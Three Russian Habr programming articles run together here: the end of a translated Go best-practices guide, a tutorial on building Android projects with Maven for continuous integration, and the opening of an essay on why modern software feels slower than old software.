Говоря о проблеме в целом: с логированием у меня было намного больше опыта в бою, что лишь усилило моё уважительное отношение к проблеме. Логирование — дорогое, гораздо дороже, чем вы думаете, и может быстро превратиться в узкое место вашей системы. Я подробно осветил эту тему [в отдельном посте](https://peter.bourgon.org/blog/2016/02/07/logging-v-instrumentation.html), но если вкратце:
* Логируйте только ту *информацию, которая даёт основание для действий*, считываемую человеком или машиной.
* Избегайте слишком подробного журналирования, возможно, вам будет достаточно общей информации и данных для отладки.
* Применяйте структурированное логирование. Хоть я и пристрастен, но рекомендую [go-kit/log](https://github.com/go-kit/kit/tree/master/log).
* Логгеры — это зависимости!
Там, где логирование стоит дорого, метрики дёшевы. Снимайте метрики с любого существенного компонента вашей кодовой базы. Если это ресурс, наподобие очереди, то измеряйте его по [методу USE Брендана Грегга](http://www.brendangregg.com/usemethod.html): Utilization, Saturation, Error count (rate). Если это какая-то конечная точка (endpoint), то измеряйте по [методу RED Тома Уилки](https://twitter.com/LindsayofSF/status/692191001692237825): Request count (rate), Error count (rate), Duration.
Если в этом вопросе у вас есть возможность выбирать, то в качестве измерительной системы рекомендую использовать [Prometheus](https://prometheus.io/). И конечно же, метрики также являются зависимостями!
Давайте отвлечёмся от логгеров и метрик и посмотрим непосредственно на глобальное состояние. Вот несколько фактов про Go:
* `log.Print` использует фиксированный глобальный `log.Logger`.
* `http.Get` использует фиксированный глобальный `http.Client`.
* `http.Server` по умолчанию использует фиксированный глобальный `log.Logger`.
* `database/sql` использует фиксированный глобальный реестр драйверов.
* `func init` существует только для того, чтобы оказывать побочный эффект на глобальное состояние пакета.
Эти факты терпимы по отдельности, но затруднительны в целом. То есть как мы можем протестировать выходные данные, передаваемые в лог компонентами, использующими фиксированный глобальный логгер? Придётся перенаправлять эти данные, но как их параллельно тестировать? Никак? Ответ неудовлетворительный. Или, скажем, есть два независимых компонента, генерирующих HTTP-запросы с разными требованиями, как нам этим управлять? С помощью стандартного глобального `http.Client` делать это довольно трудно. Посмотрите пример:
```
func foo() {
resp, err := http.Get("http://zombo.com")
// ...
}
```
http.Get вызывает глобал в пакете http. У него неявная глобальная зависимость, от которой мы можем довольно легко избавиться:
```
func foo(client *http.Client) {
resp, err := client.Get("http://zombo.com")
// ...
}
```
Просто передайте `http.Client` в качестве параметра. Но это конкретный тип (concrete type), так что если мы хотим протестировать данную функцию, то нам придётся предоставить конкретный http.Client, который наверняка заставит нас установить фактическое соединение через HTTP. Это нехорошо. Можно поступить лучше: передать интерфейс, который может выполнять (`Do`) HTTP-запросы.
```
type Doer interface {
Do(*http.Request) (*http.Response, error)
}
func foo(d Doer) {
req, _ := http.NewRequest("GET", "http://zombo.com", nil)
resp, err := d.Do(req)
// ...
}
```
`http.Client` автоматически удовлетворяет интерфейсу `Doer`, но теперь мы вольны передать в наш тест свою реализацию `Doer`. И это прекрасно: модульный тест для функции `foo` предназначен для тестирования только поведения `foo`, и теперь можно спокойно предполагать, что `http.Client` будет работать так, как заявлено.
Раз мы заговорили о тестировании…
Тестирование
============
В 2014 году я размышлял о нашем опыте работы с разными фреймворками для тестирования и вспомогательными библиотеками и пришёл к заключению, что все они не принесли какой-то особой пользы. Поэтому я рекомендовал обычный (stdlib) подход к тестированию пакетов с помощью тестов на базе таблиц. В целом я всё ещё считаю это наилучшим советом. Относительно тестирования в Go важно помнить, что *это просто программирование*. Здесь нет столь серьёзных отличий от программирования других аспектов вашей программы, чтобы можно было говорить о своём собственном метаязыке. И потому пакет testing хорошо подходит для этой задачи.
Пакеты TDD/BDD предлагают нам новые, незнакомые DSL и управляющие структуры, что увеличивает когнитивную нагрузку на вас и тех, кто потом будет поддерживать ваш код. Лично мне не попадались кодовые базы, в которых полученные преимущества окупили бы затраты. Я считаю, что подобные пакеты, как и глобальное состояние, дают фальшивую экономию и гораздо чаще являются результатом [культа карго](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B3%D0%BE-%D0%BA%D1%83%D0%BB%D1%8C%D1%82), приходя из других языков и экосистем. *When in Go, do as Gophers do (когда программируешь на Go, делай так, как принято у гоферов)*: у нас уже есть язык для написания простых и выразительных тестов — он называется Go, и вы, вероятно, хорошо им владеете.
Учитывая сказанное, я осознаю свой собственный контекст и пристрастия. Как и в случае с моим мнением по поводу GOPATH, за прошедшее время моя позиция смягчилась, и я стал лучше понимать команды и компании, для которых может иметь смысл использование тестовых DSL и фреймворков. Если вы знаете, что хотите использовать пакет, то используйте. Главное, чтобы на то были веские причины.
С тестами связана ещё одна невероятно интересная тема. Митчелл Хашимото (Mitchell Hashimoto) недавно выступил по ней с прекрасным докладом в Берлине ([SpeakerDeck](https://speakerdeck.com/mitchellh/advanced-testing-with-go), [YouTube](https://www.youtube.com/watch?v=yszygk1cpEc)), обязательно посмотрите.
В общих чертах: похоже, что лучше всего писать на Go в функциональном стиле, когда при каждой возможности зависимости перечисляются явным образом и представляются в виде маленьких интерфейсов с маленькой областью видимости. Помимо того, что это хорошо дисциплинирует в программном инжиниринге, так ещё и автоматически оптимизирует ваш код, облегчая его тестирование.
#### ✪ **Top Tip** — Используйте многочисленные маленькие интерфейсы для моделирования зависимостей.
Как и в примере с `http.Client`, помните, что модульные тесты должны писаться только для тестирования какого-то конкретного функционала, и больше ни для чего. Если вы тестируете какую-то функцию-обработчик, то нет смысла тестировать здесь ещё и HTTP-транспорт, в который пришёл запрос, или путь на диске, по которому записываются результаты. Передавайте входные и выходные данные в качестве фальшивых реализаций параметров-интерфейсов и сконцентрируйтесь исключительно на бизнес-логике метода или компонента.
#### ✪ **Top Tip** — Тесты должны тестировать только то, что тестируется.
Управление зависимостями
========================
Всегда горячая тема. В 2014 году всё ещё только зарождалось, и мой практически единственный внятный совет относился к использованию вендоринга (vendor). Это по-прежнему актуально: вендоринг до сих пор позволяет решать проблему управления зависимостями для бинарных файлов. В частности, в Go 1.6 GO15VENDOREXPERIMENT и сопутствующая этой переменной окружения vendor/ поддиректория используется по умолчанию. Так что вы будете использовать такую схему. И, к счастью, инструментарий значительно улучшился. Вот что я могу порекомендовать:
* [FiloSottile/gvt](https://github.com/FiloSottile/gvt) использует минималистский подход. По сути, просто извлекает из утилиты gb подкоманду для вендоринга, чтобы использовать её отдельно.
* [Masterminds/glide](https://github.com/Masterminds/glide) использует максималистский подход: пытается воссоздать ощущение и мелкие детали полноценного инструмента управления зависимостями. Внутри используется вендоринг.
* [kardianos/govendor](https://github.com/kardianos/govendor) находится примерно посередине, предоставляя, вероятно, богатейший интерфейс для специфичных для вендоринга вещей. И сводит разговор к файлу-манифесту (не до конца понятно, что автор имеет в виду, возможно — файл vendor.json. — Прим. переводчика).
* [constabulary/gb](https://github.com/constabulary/gb) отказывается от инструментария go в пользу другой структуры репозитория и механизма сборки. Отлично подходит для случаев, когда вы создаёте исполняемые бинарные файлы и можете управлять средой сборки, например в корпоративной среде.
#### ✪ **Top Tip** — Используйте лучший инструмент для вендоринга зависимостей ваших исполняемых бинарных файлов.
Важное предостережение относительно библиотек. В Go управление зависимостями является заботой автора исполняемого бинарного файла. Очень трудно использовать библиотеки с завендоренными зависимостями, практически невозможно. В течение нескольких месяцев после того, как в версии 1.5 был представлен вендоринг, были выявлены многочисленные тупиковые ситуации и граничные условия. Если вас интересуют подробности, можете изучить пару постов на форуме: [1](https://groups.google.com/forum/#%21topic/golang-dev/4FfTBfN2YaI), [2](https://groups.google.com/forum/#%21msg/golang-nuts/AnMr9NL6dtc/UnyUUKcMCAAJ). Если вкратце, то вывод очевиден: **никогда** не применяйте вендоринг зависимостей в библиотеках.
#### ✪ **Top Tip** — Библиотеки никогда не должны вендорить свои зависимости.
Вы можете сделать для себя исключение, если ваша библиотека герметично запечатала свои зависимости и ни одна из них не сможет проникнуть в экспортированный (публичный) слой API. Никакие экспортируемые функции, сигнатуры методов и структуры не ссылаются на зависимые типы.
Если перед вами стоит общая задача поддержки open source репозитория, состоящего из двоичных файлов и библиотек, то вы оказались между молотом и наковальней. С одной стороны, вы захотите вендорить зависимости своих двоичных файлов, но для библиотек этого делать нельзя. А GO15VENDOREXPERIMENT не имеет такого уровня детализации, что представляется мне недосмотром со стороны разработчиков.
Честно говоря, у меня нет совета для такой ситуации. В Etcd используют хак, в котором [решают проблему с помощью символических ссылок](https://github.com/coreos/etcd/tree/60425de0ff0dc8a2e7898fcd56f16669d4e4933b/cmd), но я не могу его порекомендовать, потому что симлинки плохо поддерживаются пакетом инструментов Go и окончательно ломаются под Windows. То, что у них это работает, скорее счастливая случайность, чем результат хорошего подхода. Я, как и ряд других программистов, поднял этот вопрос [перед разработчиками](https://github.com/golang/go/issues/15162) и надеюсь, что в ближайшем будущем что-нибудь будет сделано.
Сборка и развёртывание
======================
Что касается сборки, то здесь можно порекомендовать (спасибо Дейву Чейни) использовать `go install` вместо `go build`. Команда `install` кеширует в `$GOPATH/pkg` артефакты сборки из зависимостей, что ускоряет процесс сборки. Также эта команда кладёт в `$GOPATH/bin` исполняемые бинарные файлы, поэтому их легче найти и использовать.
#### ✪ **Top Tip** — Используйте `go install` вместо `go build`.
Если вы создаёте двоичный файл, попробуйте воспользоваться новыми инструментами сборки, например [gb](https://getgb.io/). Это может помочь существенно снизить когнитивную нагрузку. В то же время нужно помнить, что начиная с Go 1.5 кросс-компиляция доступна «из коробки». Просто настройте соответствующие переменные среды GOOS и GOARCH, а затем введите нужную go-команду. Никакие дополнительные инструменты здесь больше не требуются.
Что касается процесса развёртывания, то у нас, гоферов, он весьма прост по сравнению с такими языками, как Ruby, или Python, или даже JVM. Одно замечание: если вы осуществляете развёртывание в контейнерах, то следуйте [совету Келси Хайтауэр](https://medium.com/@kelseyhightower/optimizing-docker-images-for-static-binaries-b5696e26eb07#.r4j4suwn2) — используйте FROM scratch. Go предоставляет нам прекрасную возможность, и стыдно ею не пользоваться.
В качестве более общего совета могу сказать: тщательно всё продумайте, прежде чем начать выбирать платформу или систему оркестрации, — если вы вообще выберете что-либо. То же самое относится и к запрыгиванию на подножку микросервисов. Элегантный монолит, развёрнутый в виде AMI в автомасштабируемой группе EC2, является очень производительным решением для маленьких команд. Сопротивляйтесь шумихе и навязчивой рекламе или как минимум очень внимательно анализируйте.
Заключение
==========
Top Tips:
1. Помещайте `$GOPATH/bin` в свой `$PATH`, это облегчит доступ к установленным исполняемым бинарным файлам.
2. Если ваш репозиторий foo в основном состоит из исполняемых бинарных файлов, то поместите код библиотеки во вложенную папку lib/ и назовите `package foo`.
3. Если основное предназначение вашего репозитория — библиотека, то поместите код исполняемых программ во вложенные папки внутри cmd/.
4. Воспользуйтесь соглашениями о наименованиях Эндрю Герранда.
5. Только у `func main()` есть право решать, какие флаги будут доступны пользователю.
6. Чтобы избежать неправильного промежуточного состояния, используйте инициализацию литерала структуры. Везде, где возможно, встраивайте объявления структуры.
7. Избегайте проверок на nil с помощью no-op-реализаций по умолчанию.
8. Делайте нулевое значение полезным, особенно в объектах конфигурации.
9. **Делайте зависимости явными!**
10. Логгеры являются зависимостями, так же как и ссылки на другие компоненты, обработчики баз данных, флаги командной строки и т. д.
11. Используйте многочисленные маленькие интерфейсы для моделирования зависимостей.
12. Тесты должны тестировать только то, что тестируется.
13. Используйте лучший инструмент для вендоринга зависимостей ваших исполняемых бинарных файлов.
14. Библиотеки никогда не должны вендорить свои зависимости.
15. Используйте `go install` вместо `go build`.
Go всегда был консервативным языком, и процесс его развития преподнёс нам немного сюрпризов, без каких-либо серьёзных изменений. В результате — и это было предсказуемо — в сообществе не отмечено сильных сдвигов в представлениях о лучших практиках. Вместо этого мы наблюдали овеществление метафор и пословиц ([Go Proverbs](https://go-proverbs.github.io/)), которые были хорошо известны в ранние годы, а также постепенное движение «вверх по стеку» (up the stack) по мере того, как шаблоны разработки, библиотеки и программные структуры развивались и трансформировались в идиоматичный Go.
Переходим к следующим шести годам весёлого и продуктивного программирования на Go. | https://habr.com/ru/post/301036/ | null | ru | null |
# Android — Сontinuous Integration. Часть 2
Первая часть, рассказывающая для чего все это нужно [здесь](http://habrahabr.ru/post/145907/).
#### Содержание
* Подготовка
* Maven
+ Root
- Build profiles
- Plugins
+ App
- Resource filtering
+ Lib
+ Test
* Заключение
* Ссылки
Пост рассчитан на читателей уже знакомых с основами maven’а и в ходе статьи акцент будет делаться на каких-то специфических, именно для андроида, моментах, а не на общих вопросах самого мавена. Если же вы до этого ни разу не работали с мавеном, то для начала можно почитать [здесь](http://maven.apache.org/guides/getting-started/index.html) и [здесь](http://www.sonatype.com/books/mvnref-book/reference/public-book.html).
Так же я не буду рассматривать установку и базовую настройку инструментов — `JDK, Android SDK, Maven` и `IntelliJ IDEA` должны быть установлены и работать. У вас должны быть настроены соответствующим образом переменные окружения `JAVA_HOME, M2, M2_HOME` и `ANDROID_HOME`. Так же, для удобства работы, рекомендую добавить в `Path` директории `%ANDROID_HOME%/tools` и `%ANDROID_HOME%/platform-tools`.
Мне всегда удобнее сначала увидеть всю картину целиком, а потом разбираться в отдельных ее деталях. Поэтому предлагаю вам забрать [шаблон проекта](https://github.com/TheDimasig/AndroidMavenTemplateProject) с github'а. Все дальнейшее повествование будет вестись на его примере.
#### Подготовка
Прежде чем приступить к рассмотрению самих POM-файлов для начала организуем структуру проекта и настроим его для работы в IntelliJ IDEA. Это даст нам возможность в дальнейшем использовать стандартные средства IDE для запуска и отладки приложений, да и вообще, полноценно пользоваться всеми ее преимуществами. IDEA прямо “из коробки” имеет встроенные плагины для Maven’а и Android’а, и настройка не вызывает почти никаких проблем. Достаточно открыть панель Maven плагина и выбрать соответствующий корневой POM-файл. На основе данных из него, IDEA создаст файлы проекта, которые, возможно немного придется донастроить вручную.
Проект состоит из четырех модулей:
```
Root
|---- App
| |---- src
| |---- test
| |---- JUnit
| |---- Robolectric
|
|---- Lib
| |---- src
| |---- test
| |---- JUnit
| |---- Robolectric
|
|---- Test
|---- src
|---- Instrumentation
|---- Robotium
```
* `Root` — корень проекта
* `App` — само приложение
* `Test` — instrumentation apk, он же модуль с [Android](http://developer.android.com/tools/testing/index.html) и [Robotium](http://code.google.com/p/robotium/) тестами
* `Lib` — [Android Library Project](http://developer.android.com/tools/projects/index.html#LibraryProjects), собирается в APKLIB
Помимо отдельного модуля с тестами каждый модуль в проекте имеет папку `test`, в которой хранятся юнит-тесты (JUnit или [Robolectric](http://pivotal.github.com/robolectric/)).
#### Maven
Для меня одним из стимулов попробовать maven был меньший размер XML-ок по сравнению с Ant'ом, а как следствие, бОльшая читабельность и поддерживаемость. Однако, как это обычно и бывает, то, что в туториале выглядит компактно, на практике разрастается до неузнаваемых размеров. Так и в этот раз, скрипты обросли всеми хотелками и стали ничуть не меньше антовских. Но несмотря на это, по моему субъективному мнению, читать их значительно проще чем Ant. К тому же maven в отличие от скрипто-подобного Ant’a предлагает декларативную парадигму. Т.е. мы описываем не «как» именно мы хотим что то получить, а «что» именно, а как это будет получено нас уже не волнует.
Так же на практике довольно ощутимым плюсом оказалась возможность dependency management’a, хотя в Ant’е она, в принципе, тоже решаема с использованием Ivy. Ну и еще один тычок в сторону муравья, как сказал кто то из известных: “Программировать на XML-е — вообще странная идея” =)
Пройдемся по POM-файлам наших модулей
##### Root
Корневой модуль проекта. Содержит все остальные модули и общие для всех модулей куски конфигурации. Тип упаковки по умолчанию для таких модулей
```
pom
```
Далее объявляются различные мелочи вроде адреса баг-трекера, адреса репозитория, описание проекта и т.д.
Затем идет блок пропертей:
```
1.0.0
1
UTF-8
${project.version.name.number}-${project.version.name.qualifier}
true
```
* версия и `versionCode` apk-файла
* кодировка исходников
* имя эмулятора, на котором будут запускаться тесты и куда будет деплоится готовое приложение. Значение используется дальше в скрипте `android-maven-plugin`'ом. Если конкретное значение не указывать, то по умолчанию будут использоваться все эмуляторы / устройства доступные в данный момент. Так же кроме имени устройства допустимыми значениями являются [константы](http://maven-android-plugin-m2site.googlecode.com/svn/apk-mojo.html#device) `usb` и `emulator`.
* имя проекта. Версия + квалификатор, значение которого тоже берется из соответствующей property уникальной для каждого конкретного профиля (О профилях подробнее будет ниже)
* флаг -v, который передается многим утилитам из Android SDK, стимулирующий вывод различной дополнительной информации.
Затем блок объявляющий зависимые модули: App, Test и Lib. А дальше секция объявления профилей.
###### Build profiles
Как отмечалось в предыдущей части, приложение можно собирать в нескольких различных конфигурациях: `production, test` и `development`. Профили и управляют этим процессом. Каждый профиль позволяет перекрывать значения различных пропертей, настройки плагинов и другие параметры сборки. При компиляции проекта в зависимости от активного профиля будут взяты соответствующие настройки сборки и использованы в приложении. Например, используя процессинг ресурсов, таким образом, можно изменить ссылку на сервер, которая может отличаться для `production` и `test` конфигураций (Об этом подробнее ниже).
Активировать необходимый профиль можно в IDEA с помощью Maven плагина.
Либо, если POM запускается из консоли или build-сервером, то значение активного профиля можно передать указав дополнительный параметр. Например собрать `production` сборку приложения из командной строки можно следующей командой:
`mvn install -P production`
По умолчанию активен `development` профиль, таким образом, если ничего не указывать дополнительно, то будет собрана dev-конфигурация.
Помимо конкретных настроек приложения, вроде параметров подключения к серверу или базе данных, профиль определяет будет ли оптимизироваться и подписываться apk-файл, включен ли debug-режим и какой квалификатор получит конечный артефакт.
`test` и `development` профили небольшие по размеру и их содержимое задает только настройки приложения (параметры подключения к серверу). Немного больше них по размеру определение `production` профиля. Оно включает в себя настройку процесса [подписывания](http://developer.android.com/tools/publishing/app-signing.html) приложения сертификатом.
```
org.apache.maven.plugins
maven-jarsigner-plugin
signing
sign
verify
package
true
${project.build.directory}/\*.apk
${project.basedir}/keystore
true
true
```
В настройках `maven-jarsigner-plugin` указывается в какой момент будет происходить подписывание пакета, путь к нашему keystore и его параметры. Кстати для отладки скрипта очень удобно запускать его с параметром `-X`, например, `mvn install -X`. При этом maven выдает большое количество отладочной информации, анализируя которую можно разобраться с проблемой.
Далее в `android-maven-plugin`’e отключается debug-режим для `production` сборки. И последний штрих — `maven-compiler-plugin` включает оптимизации кода `production` версии.
В build-секции POM’а задается имя результирующего apk-файла и настраиваются различные плагины.
###### Plugins
Затем идут настройки плагинов. Плагин для обработки ресурсов, указание `maven-compiler-plugin`’у использовать 6-ую версию Java, настройка самого `android-maven-plugin`’а и настройка `maven-idea-plugin`’а.
`maven-idea-plugin` позволяет скачивать документацию и исходники зависимостей проекта, что дает нам возможность заглянуть внутрь исходных кодов платформы или библиотеки или быстро ознакомиться с javadoc’ом (Ctrl+Q). Мелочь, а приятно! =)
**Android-maven-plugin**
Рассмотрим более подробно настройку андроид плагина. Плагин настраивается так же как и все другие maven-плагины в секции ````
//.
Задаем версию API которой будет компилироваться проект.
14
```
Далее параметры манифеста, которые мы задаем в пропертях, уникальных для каждого из профилей (см выше).
```
${project.version.name}
${project.version.code}
${project.debug.mode}
```
Настройки эмулятора: имя, таймаут ожидания запуска и другие опции. Т.к. скрипт используется TeamCity для сборки с последующим запуском тестов на эмуляторе в "безголовом" режиме, то указана опция `-no-window`.
```
${project.emulator.name}
300000
-no-window
```
Указываем плагину каждый раз удалять приложение прежде чем устанавливать заново.
```
true
```
Далее задаются параметры [выравнивания](http://developer.android.com/tools/publishing/app-signing.html#align) финального apk-файла и задается имя конечного файла, которое будет состоять из номера версии с добавлением суффикса `-signed-aligned`
```
false
${project.verbosity}
${project.build.directory}/${project.build.finalName}-signed-aligned.apk
```
Затем в секции ````
задаются цели когда необходимо обработать манифест и выровнять приложение.
zipalign
package
zipalign
update-manifest
manifest-update
```
Оставшиеся POM-файлы модулей App, Test и Lib менее интересны, пройдемся вкратце по ним.
##### App
Как обычно вначале идут настройки артефакта собираемого модулем и указание родительского модуля. Указывается тип упаковки - `APK`. Секция с репозиториями для зависимостей отсутствующих в maven-central, например, сюда можно добавить ваш корпоративный репозиторий, если такой есть.
Кстати в maven-central отсутствуют многие версии Android платформы и часто используемые библиотеки из SDK. Например, карты, compatibility package, AdMob SDK и т.д. А если и появляются то с большой задержкой. Для упрощения жизни разработчикам и в этом вопросе Manfried Moser, автор `maven-android-plugin`'a, разработал еще один полезный проект - [Maven Android SDK Deployer](https://github.com/mosabua/maven-android-sdk-deployer), который позволяет одной командой залить все необходимые артефакты в ваш личный репозиторий и уже от туда их смело использовать.
Дальше список необходимых проекту зависимостей. В качестве одной из зависимостей указывается наш модуль Lib
```
com.devoxy.android
template-project-lib
1.0.0
apklib
```
Обратите внимание на тип упаковки `apklib` - тип для Android библиотек, содержащих ресурсы. В случае IntelliJ IDEA на каждую зависимость apklib автоматически будет создан IDEA-модуль имя которого будет начинаться с `~`.
Однако, с apklib-зависимостями все не так гладко. У меня к сожалению так и не получилось заставить работать в IDEA проект с 2-мя и больше apklib-ами. При сборке maven-ом такой проект собирается хорошо, но при сборке через IDEA полученный apk файл получается неработоспособным. Более детально проблема описана в [багтрекере](http://youtrack.jetbrains.com/issue/IDEA-90719) JetBrains и на [stackoverflow](http://stackoverflow.com/questions/12479844/adding-vpi-to-project-with-a-lot-of-dependencies-causes-error-on-pre-3-0-devices). В качестве workaround'а можно создать maven конфигурацию как на рисунке.
Но существенный недостаток такого решения в том, что maven каждый раз пересобирает **все** исходники и ресурсы, не смотря на то, вносили ли мы в них изменения или нет, что делает сборку проекта длительной операцией и существенно тормозит процесс разработки в целом. Будем надеяться что JetBrains в скором времени исправят ошибку.
В секции ````
указываем директории с исходниками и тестами.
src
test
```
И настраиваем процессинг манифеста и других ресурсов приложения.
###### Resource filtering
В файле, хранящем настройки приложения (в моем примере это `application.properties` в `/assets`, но это может быть любая XML-ка из `/res` или вообще java файл из `/src`), можно задавать проперти в виде `${property.name}` значение которой на этапе обработки ресурсов, Maven’ом будет заменено на значение проперти из нашего POM-файла. Таким образом, задавая различные значения для одних и тех же пропертей в различных конфигурациях и фильтруя ресурсы, можно добиться необходимого эффекта. Например, задать параметры подключения к серверу.
Так же фильтрация ресурсов здесь позволяет обойти еще одну небольшую проблему. `android-maven-plugin` умеет изменять некоторые атрибуты [в манифесте](http://maven-android-plugin-m2site.googlecode.com/svn/manifest-update-mojo.html) нашего приложения в частности `versionName` и `versionCode`, что нам и нужно. Но для этого плагин использует встроенный парсер и после любого изменения автоматически переформатирует манифест так как ему нужно, а не как удобно нам, убивая начисто многие пробелы и переносы строк, что превращает `AndroidManifest.xml` в нечитаемую кашу. Что бы избежать этого эффекта и сохранить читаемость оригинального манифеста так же используется resource filtering. Во время процессинга создается копия манифеста и уже в ней происходят замены и переформатирование.
Сначала, все что касается обработки ресурсов у меня хранилось в Root модуле, но небольшой [баг](http://code.google.com/p/maven-android-plugin/issues/detail?id=194) в плагине не позволяет использовать эту хитрость в `APKLIB` модулях. Поэтому данные настройки были вынесены из Root в App модуль, дабы избежать лишних проблем.
Задаем путь к директории `/asstets`.
```
${project.build.directory}/filtered-assets
```
Так как мы используем обработку ресурсов, то этот путь у нас отличается от пути по умолчанию и мы должны явно указать папку с готовыми ресурсами (см. часть про Resource filtering).
По той же причине указывается путь к отфильтрованному манифесту, отличный от пути по умолчанию.
```
${project.build.directory}/AndroidManifest.xml
```
##### Lib
Тип упаковки `APKLIB`. Вообще здесь можно указать и `jar`. Зависит от того что будет внутри вашей библиотеки. Если библиотека содержит только java-код, то хватит и jar, если же помимо кода библиотека предоставляет и ресурсы (лейауты, активити, стили и т.д.), т.е. представляет из себя [Android Library Project](http://developer.android.com/tools/projects/index.html#LibraryProjects), то ставим `APKLIB`.
Далее как обычно ссылка на родительский модуль, список зависимостей и пути к папкам с исходниками и тестами.
##### Test
Последний модуль Тест, содержит набор интеграционных и функциональных тестов. Тип упаковки `apk`. Секции аналогичны предыдущим модулям. Единственное, что в качестве зависимостей необходимо указать артефакты модуля приложения.
```
com.devoxy.android
template-project-app
${project.version}
provided
apk
com.devoxy.android
template-project-app
${project.version}
provided
jar
```
#### Заключение
Изначально я собирался хранить номер версии в виде `Х.Х.Х` в качестве проперти в билд-скрипте, но, к сожалению, в случае проекта из нескольких модулей это невозможно. Maven [не умеет](http://stackoverflow.com/questions/3628471/maven-versions-plugin-not-picking-up-properties-from-parent) резолвить проперти в заголовках версии артефакта. Поэтому был необходим способ менять номер версии во всех pom-файлах и в `AndroidManifest.xml`. По хорошему для этого нужно использовать `maven-release-plugin` или какие-нибудь костыли (ant-скрипт как у меня).
Так как мне необходимо было быстро найти работающее решение, а времени разбираться с релиз плагином не было, то я сделал временно на костылях, а как известно - нет ничего более постоянного чем временное =)
Номер версии проекта лежит в корне в файле `version.properties`. Единственный ant-target выполняет обновление всех POM-файлов в соответствии с версией в файле.
Кроме этого хотелось бы сделать более гибкий механизм для запуска различных test-scopes в разных конфигурациях. Android Testing Framework предоставляет несколько различных аннотаций для ваших тестов `@SmallTest` `@MediumTest` и `@LargeTest`, с помощью которых можно разделить все ваши instrumentation-тесты на несколько логических групп. Т.к. запуск и прогон integration-тестов, особенно на эмуляторе, очень долгая операция, то хотелось бы при сборке на TeamCity управлять тем, какие именно тесты и в какой сборке запускать. Например, `development` сборка может включать только `@SmallTest`’ы, а `production` все вместе. Но, к сожалению, `maven-android-plugin` позволяет указывать только один scope при выборе тестов, т.е. мы можем выбрать либо `small`, либо `medium`, либо `large`, но не small и medium. См. [testSize](http://maven-android-plugin-m2site.googlecode.com/svn/internal-integration-test-mojo.html#test)
Ну и по желанию можно добавить obfuscating с помощью [ProGuard](http://developer.android.com/tools/help/proguard.html)
#### Ссылки
И, как обычно, в конце немного ссылок на тему сборки Android проектов Maven'ом
* [Maven Tutorial](http://maven.apache.org/guides/getting-started/index.html)
* Android-maven-plugin: [Getting Started](http://code.google.com/p/maven-android-plugin/wiki/GettingStarted) [Plugin Doc](http://maven-android-plugin-m2site.googlecode.com/svn/plugin-info.html)
* Maven: The Complete Reference from Sonatype. [Глава](http://www.sonatype.com/books/mvnref-book/reference/android-dev-sect-config-build.html) про Android
* [Maven Android Archetypes](https://github.com/mosabua/android-archetypes) Готовый набор андроид архитайпов
* Android-maven-plugin [Samples](https://github.com/mosabua/maven-android-plugin-samples). Содержит кучу примеров, включая NDK и библиотеки
* [Gaug.es](https://github.com/github/gauges-android) Типичное приложение типа "веб-клиент", сделано очень качественно, можно посмотреть не только настройки maven'a
* [GitHub for Android](https://github.com/github/android) Ну и официальное приложение клиент для GitHub, собирается тоже maven'ом
**UPDATE**
Благодаря советам хабраюзера [serso](https://habrahabr.ru/users/serso/) удалось обойти проблему "двух и более APKLIB зависимостей". Для этого в IDEA в настройках Android фасетов необходимо изменить обработку ресурсов с "Run 'process-resources' Maven task before Make" на "Compile resources by IDE". Хотя такое поведения любимой среды разработки и осталось для меня загадкой
``` | https://habr.com/ru/post/152279/ | null | ru | null |
# Когда старый компьютер лучше нового
[](https://dilbert.com/strip/2012-04-05)
*[© dilbert](https://dilbert.com/strip/2012-04-05)*
Наметилась странная тенденция. Возникает впечатление, что с каждым годом компьютеры *замедляются*. Количество ядер растёт, софт лагает. Нативных программ всё меньше. Остальные работают через Electron или в браузере. Древний текстовый редактор в DOS'е реагировал на нажатия за 15-20 миллисекунд, а в современном Google Docs задержка 100-150 мс. То же самое с остальными. Вспомните, ведь IRC и аська летали практически в реальном времени. А сейчас монстры Skype и Viber на десктопе загружаются по десять секунд. Спасибо разработчикам Telegram, хоть там нормальные ребята, иначе бы вера в человечество совсем исчезла…
Невольно начинаешь завидовать коллегам, которые сохранили компьютеры и софт двадцатилетней давности, не обновили ни железо, ни программы. У них всё работает как часы, техпроцессы налажены, вёрстка, дизайн, ничего не лагает и не глючит. Никаких дурацких [обновлений для предыдущих обновлений](https://habr.com/ru/news/t/548130/).
Удивительно медленные процессы в современных системах
=====================================================
К сожалению, разработчики не всегда занимаются оптимизацией. Кто-то не считает это первоочередной задачей. Их можно понять. Начальник [хвалит за *добавление* строк кода, а не за удаление](https://habr.com/ru/company/vdsina/blog/556556/).
Поэтому в современных операционных системах и программном обеспечении [встречаются удивительно медленные процессы](https://gregoryszorc.com/blog/2021/04/06/surprisingly-slow/), которые могли выполняться на порядок быстрее, если бы разработчики уделили чуть больше внимания этому вопросу.
Например, в операционной системе Windows неожиданно медленно выполняется функция `CloseHandle()`, которая закрывает дескрипторы объектов. Из-за драйвера файловой системы Windows Defender закрытие файла происходит не мгновенно, а за 1-10+ мс. Поэтому общая производительность операций I/O в Windows заметно уступает Linux. И её невозможно увеличить при работающем Windows Defender. Если выделить `CloseHandle()` в отдельный поток, то практически любая программа под Windows станет работать быстрее на запись файлов. Разница в производительности особенно заметна у инсталляторов, систем контроля версий, архиваторов и других программ, которые активно работают с диском.
Или другой пример — консоли, которые тормозят всё остальное. Windows Command Prompt в Windows и Terminal.app в macOS исторически работают очень медленно при большом потоке входных данных. В Linux тоже есть проблемы. Пять лет назад случился известный баг, когда [индикатор выполнения сильно затормаживал установку npm](https://github.com/npm/npm/issues/11283), потому что `stdout`/`stderr` блокировал основной поток выполнения. В результате программа начинает тормозить из-за того, что консоль не справляется.
Ещё один пример необычных «тормозов» в современном софте — тротлинг (дросселирование тактов), то есть уменьшение тактовой частоты процессора из-за перегрева или по другой причине. Ядра процессора живут своей жизнью, они постоянно повышают и понижают частоту по разным причинам. Причём в разных моделях CPU поведение отличается: например, Xeon не так легко запустить в турбо-режиме, как десктопный CPU. Температура CPU может повыситься совершенно неожиданным образом: например, в корпусе скопилась пыль и блокирует теплоотвод. В итоге вся система начинает сильно тормозить по «непонятной причине». В ноутбуках тротлинг может сработать для экономии заряда батареи. На серверах та же проблема из-за настроек питания процессора (ACPI C-State и P-State).
Современные накопители NVMe абсурдно быстры: они примерно равняются по скорости оперативной памяти DDR2 (2003 год). Но операционная система *не способна* осуществлять операции ввода-вывода на такой скорости. Софт может работать на порядок быстрее, [если начнёт выполнять операции I/O в обход ядра](https://itnext.io/modern-storage-is-plenty-fast-it-is-the-apis-that-are-bad-6a68319fbc1a).
